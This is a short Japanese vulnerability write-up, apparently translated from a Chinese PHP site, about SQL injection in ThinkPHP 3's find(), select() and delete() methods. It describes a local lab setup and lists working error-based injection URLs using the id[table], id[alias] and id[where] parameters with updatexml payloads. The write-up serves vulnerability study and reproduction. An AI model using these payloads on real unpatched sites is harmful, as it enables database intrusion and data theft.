#thinkphp3 には脆弱性がありますか?
thinkphp3 には脆弱性がありますが、2018 年 8 月 23 日木曜日、北京時間 11 時 25 分に、tp チームは更新が停止されている thinkphp 3 シリーズのセキュリティ更新を作成しました。分析の結果、この更新は配列型データを渡す可能性のある select()、find()、および delete() メソッドによって引き起こされる複数の SQL インジェクションのリスクを修正します。 #0x01 脆弱性の再発# ソース コードのダウンロード: git clone https://github.com/top-think/thinkphp.git
git checkout コマンドを使用してバージョンを最後のコミットにロールバックします:
git checkout 109bf30254a38651c21837633d9293a4065c300b
phpstudy などの統合ツールを使用して thinkphp をビルドし、Apache 構成ファイル httpd を変更します-conf
phpstudy を再起動し、127.0.0.1 にアクセスし、thinkphp が正常に実行されていることを示す thinkphp ウェルカム メッセージを出力します。
#データベースを構築します。データベースは tptest、テーブルは user、テーブルには id、username、passの 3 つのフィールドがあります Application\Common\Conf\config.php 構成ファイルを変更し、データベース構成情報を追加します。 Application\Home\Controller\IndexController.class.php に次のコードを追加します。public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
以上がthinkphp3に脆弱性はありますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。